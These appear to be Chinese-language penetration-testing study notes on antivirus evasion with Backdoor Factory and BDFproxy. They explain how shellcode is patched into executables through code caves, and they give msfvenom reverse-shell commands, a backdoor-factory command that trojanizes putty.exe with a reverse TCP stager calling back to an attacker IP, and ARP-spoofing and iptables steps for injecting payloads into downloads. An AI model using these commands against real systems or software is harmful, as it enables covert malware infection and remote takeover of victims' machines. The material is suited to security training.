免杀-Backdoorfactory

Backdoor-factory

  • Patch
    • 通过替换exe、dll、注册表等方法修复系统漏洞或问题的方法
    • BDF:向二进制文件中增加或者删除代码内容
      • 某些受保护的二进制程序无法patch
      • 存在一定概率文件会被patch破坏掉
  • 后门工厂
    • 将shellcode代码patch进模板文件,躲避AV检查
    • 支持msf payload、自定义payload
msf使用的patch方法(BDF也支持)
  • 覆盖程序入口
    • msfvenom -p windows/shell/reverse_tcp
  • 创建新的线程执行shellcode并跳回原程序入口
    • msfvenom -p windows/shell/reverse_tcp -k
    • 增加代码片段,跳转执行后跳回源程序入口
CTP方法
  • 增加新的代码段section,与MSF的-k方法类似

  • 使用现有的代码缝隙(code cave)存放shellcode

  • Codecave

    • 二进制文件中超过两个字节的连续x00区域(代码片段间区域)
    • 根据统计判断,代码缝隙是在编译器在进行编译时造成的,不同的编译器产生的代码缝隙大小不同。
  • 单个代码缝隙不足以存放完整shellcode时

    • 多codecave跳转
    • 结合msf的stager方法
  • patch选项

    • 附加代码段
    • 单codecave注入
    • 多codecave注入

操作

  • 查看是否支持backdoor-factory -f putty.exe -S

  • 查看代码缝隙backdoor-factory -f putty.exe -c -l 100

  • 查看payloadbackdoor-factory -f putty.exe -s show

  • backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_thread -H 192.168.1.119 -P 4444


BDFproxy(通过mitmproxy实现)

  • 基于流量劫持,动态注入shellcode(ARP spoof、DNS spoof、fake AP)
  • 注入shellcode到下载文件的流量中
  • 会自动清楚PE的签名,用0覆盖
步骤
  • sysctl -w net.ipv4.ip_forward=1

  • iptables -t nat -A PREROUTING -p tcp --dport 80/443 -j REDIRECT -- to-ports 8080

  • vi /etc/bdfproxy/bdfproxy.cfg

    • proxyMode=transparent
    • 修改侦听IP地址并启动bdfproxy
  • arpspoof -i eth0 -t 1.1.1.2 1.1.1.1

  • 启动MSF

Mana

  • 无线Ap